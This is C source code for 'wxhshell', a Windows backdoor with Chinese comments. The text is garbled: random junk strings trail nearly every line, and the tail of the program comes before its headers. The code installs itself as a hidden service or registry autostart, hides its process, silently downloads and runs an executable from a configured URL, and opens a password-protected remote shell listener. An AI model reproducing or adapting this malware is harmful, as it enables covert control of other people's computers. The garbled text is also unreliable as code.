DWORD PebBaseAddress; XK??5'&{
DWORD AffinityMask; IROX]f}r (
DWORD BasePriority; ;Pf
|\q
ULONG UniqueProcessId; sd9$4k"
ULONG InheritedFromUniqueProcessId; i!+D
,O
} PROCESS_BASIC_INFORMATION; BLZ#vJR
vQ/}E@?u
PROCNTQSIP NtQueryInformationProcess; yI/2 e [
}P(RGKQZ"
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;
*vt5dxB
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; B!-hcn]y
}/&Q\Sc
HANDLE hProcess; (XA=d
4
PROCESS_BASIC_INFORMATION pbi; R,R[.2Vi
Cw42bO
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7K.&zn
if(NULL == hInst ) return 0; J!5BH2bg
U/F<r3.`#
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _OV\W'RrA
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @)PA9P |
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6(awO2{BP
N`XJA-DE
if (!NtQueryInformationProcess) return 0; 56gpAc
U"$Q$ OFs
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ck;O59A"&-
if(!hProcess) return 0; 7?Q@Hj(:NT
o#3?")>|
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; y_EkW
f
Tlrr02>B{
CloseHandle(hProcess); IN=pki|.
VH[r@Pn
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); BCsz8U!
if(hProcess==NULL) return 0; MJNY#v3
d]1%/$v^
HMODULE hMod; 2{;&c
char procName[255]; R}Pw#*B
unsigned long cbNeeded; [M>Md-pj
:*bv(~FW
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %x@
D i`;
>dKK [E/[d
CloseHandle(hProcess); dv=y,q@W
%pj6[x`@
if(strstr(procName,"services")) return 1; // 以服务启动 PN9^ sLx=
u.;zz'|
return 0; // 注册表启动 j
!^Tw.Ty
} {Hncm
:VwU2
// 主模块 xg=}MoX
int StartWxhshell(LPSTR lpCmdLine) wKF #8Y
{ -
s[=$pDU
SOCKET wsl; piYv}4;:(
BOOL val=TRUE; Fe
3*pUt
int port=0; )"k>}&'
struct sockaddr_in door; lyGQ6zlSn
272j$T
if(wscfg.ws_autoins) Install(); C
yg e
#oRm-yDr
port=atoi(lpCmdLine); +. /c=o/v
XMhDx
if(port<=0) port=wscfg.ws_port; Y[%1?CREP
HScj
WSADATA data; ]jbQou@
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; GMmz`O
XN
g8^\|
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; $r`K4g
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h(}$-' g
door.sin_family = AF_INET; dWHl<BUm
door.sin_addr.s_addr = inet_addr("127.0.0.1"); v|5:;,I
door.sin_port = htons(port); `nBCCz'Y!
nQ|4.e;
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { FR~YO|4?
closesocket(wsl); iVq4&X_x
return 1; ").MU[q%Y
} *M5: \+
<viIpz2jh%
if(listen(wsl,2) == INVALID_SOCKET) { u@|izRk
closesocket(wsl); aE}1~`
return 1; u\YH,
}
V|=PaO
Wxhshell(wsl); _XT],"
WSACleanup(); '[#a-8-JY_
~3}Gu^@
return 0; g\MHv#v*k
{FzL@!||
} Ol ,;BZHc\
36>pa
// 以NT服务方式启动 xdWfrm$;ZA
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (Wkli:Lq
{ 2
q RXA
DWORD status = 0; _^4\z*x
DWORD specificError = 0xfffffff; 1*S5:7Tb
p:M#F:
serviceStatus.dwServiceType = SERVICE_WIN32; lB!`,>"c
serviceStatus.dwCurrentState = SERVICE_START_PENDING; eUQ., mP
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !:e|M|T'I*
serviceStatus.dwWin32ExitCode = 0; Hw"ik6
serviceStatus.dwServiceSpecificExitCode = 0; 5 e:Urv77
serviceStatus.dwCheckPoint = 0; )6|7L)Dk
serviceStatus.dwWaitHint = 0; `(A6uakd
=PHl|^
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3/IQ]8g"
if (hServiceStatusHandle==0) return; $ tf;\R
W-wy<<~f
status = GetLastError(); g*b
4N_
if (status!=NO_ERROR) [vki^M5i|Z
{ ?]%JQ]Gf*
serviceStatus.dwCurrentState = SERVICE_STOPPED; xsK{nM6g
serviceStatus.dwCheckPoint = 0; :LRR\v0HM
serviceStatus.dwWaitHint = 0; TJ(P TB;
serviceStatus.dwWin32ExitCode = status; _'&N0 1
serviceStatus.dwServiceSpecificExitCode = specificError; '!`%!Xg
SetServiceStatus(hServiceStatusHandle, &serviceStatus); e;b,7Qw
return; ~82[pY
} o?\)!_Z|
Ore$yI}!m
serviceStatus.dwCurrentState = SERVICE_RUNNING; UnNvlkjq9
serviceStatus.dwCheckPoint = 0; )#-27Y
serviceStatus.dwWaitHint = 0; <*L=u ;
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7L)1mB.
} tB.;T0n
=jD[A>3I
// 处理NT服务事件,比如:启动、停止 RAR0LKGX
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3oX%tx
{ 4X7y}F.J
switch(fdwControl) Wz$%o'OnC
{ @k~?h=o\b
case SERVICE_CONTROL_STOP: G)gf +)W
serviceStatus.dwWin32ExitCode = 0; A(duUl~
serviceStatus.dwCurrentState = SERVICE_STOPPED; `}o4 &$
serviceStatus.dwCheckPoint = 0; ~^/zCPy[w
serviceStatus.dwWaitHint = 0; J5L P#o(V
{ $mm =$.
SetServiceStatus(hServiceStatusHandle, &serviceStatus); WujIaJt-
} }_XW?^/8
return; sh.xp8^)^>
case SERVICE_CONTROL_PAUSE: Myss$gt}
serviceStatus.dwCurrentState = SERVICE_PAUSED; khT&[!J{>
break; ,CW]d#P|
case SERVICE_CONTROL_CONTINUE: o
D;
serviceStatus.dwCurrentState = SERVICE_RUNNING; `;fh<kv
break; PK1j$&F
case SERVICE_CONTROL_INTERROGATE: hT6:7_UD
break; *ggTTHy
}; >(z{1'f{
SetServiceStatus(hServiceStatusHandle, &serviceStatus); qG"|,bA
} }]vj"!?a
1!/+~J[#
// 标准应用程序主函数 {frEVHw
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) A/N*Nc
{ zO{$kT\r&
hTI8hh
// 获取操作系统版本 .;WJ(kB\U
OsIsNt=GetOsVer(); sBuJK'
GetModuleFileName(NULL,ExeFile,MAX_PATH); >V(>2eD'S
.jMm-vox}
// 从命令行安装 43rM?_72
if(strpbrk(lpCmdLine,"iI")) Install(); "FQh^+
)hk=wu6
// 下载执行文件 b{)('C$
if(wscfg.ws_downexe) { ;a!o$y
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) G B!3`
A%&
WinExec(wscfg.ws_filenam,SW_HIDE); 7HPLD&WPt
} &Pxt6M\d
i=_leC)rl
if(!OsIsNt) { /Nq!^=
// 如果时win9x,隐藏进程并且设置为注册表启动 T(+F6d=1
HideProc(); V5rnI\:7
StartWxhshell(lpCmdLine); ~C5iyXR
} $gDp-7
else kN9S;o@)
if(StartFromService()) X@ +:O-$
// 以服务方式启动 $}oQ=+c5
StartServiceCtrlDispatcher(DispatchTable); e<5+&Cj
else T~$ePVk>L
// 普通方式启动 HY#7Ctn3
StartWxhshell(lpCmdLine); Wy#`*h,
AX**q$'R
return 0; ;]fpdu{
} hgj#VY$B
F$r8hj`
3sGrX"0D
f[7'kv5S
=========================================== o0 -e,F>u
XBhWj\`(T
J'9&dt
"W6nW
xmKa8']x
yG&kP:k<
" ;TSnIC)c
CkoPno
#include <stdio.h> a2/r$Tgm
#include <string.h> 9?D7"P+
#include <windows.h> w:FH2*
#include <winsock2.h> &_4A6
#include <winsvc.h> Z.6`O1OY}?
#include <urlmon.h> wdBytH6r.
|UnTd$m
#pragma comment (lib, "Ws2_32.lib") ?f']*pD8
#pragma comment (lib, "urlmon.lib") ,b>cy&ut
e"r'z
n
#define MAX_USER 100 // 最大客户端连接数 uW>AH@Pij
#define BUF_SOCK 200 // sock buffer 3FPy"[[
#define KEY_BUFF 255 // 输入 buffer &Wd,l$P<O
2?t(%uf]
#define REBOOT 0 // 重启 t)XV'J
#define SHUTDOWN 1 // 关机 ORQGay
?d+B]VYw
#define DEF_PORT 5000 // 监听端口 ;YZw{|gsh
};o R x)
#define REG_LEN 16 // 注册表键长度 zQ{ Q>"-
#define SVC_LEN 80 // NT服务名长度 ?]fBds=
7P/j\frW
// 从dll定义API w2]1ftY
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `RGZ-Q{_
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &8"a 7$
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^\N2
Iu>6
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); j,/o0k,
W\.f:"2qr
// wxhshell配置信息 >[|:cz
struct WSCFG { -D:J$d
6R<
int ws_port; // 监听端口 W}L=JJo},
char ws_passstr[REG_LEN]; // 口令 %h|z)
int ws_autoins; // 安装标记, 1=yes 0=no #PXl*~PrQ/
char ws_regname[REG_LEN]; // 注册表键名 |D]jdd@!a2
char ws_svcname[REG_LEN]; // 服务名 s^C*uP;R
char ws_svcdisp[SVC_LEN]; // 服务显示名 `m2F.^qrr
char ws_svcdesc[SVC_LEN]; // 服务描述信息 D{N1.rSxv
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )\mklM9Z
int ws_downexe; // 下载执行标记, 1=yes 0=no a]X6) 6
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" eBU\&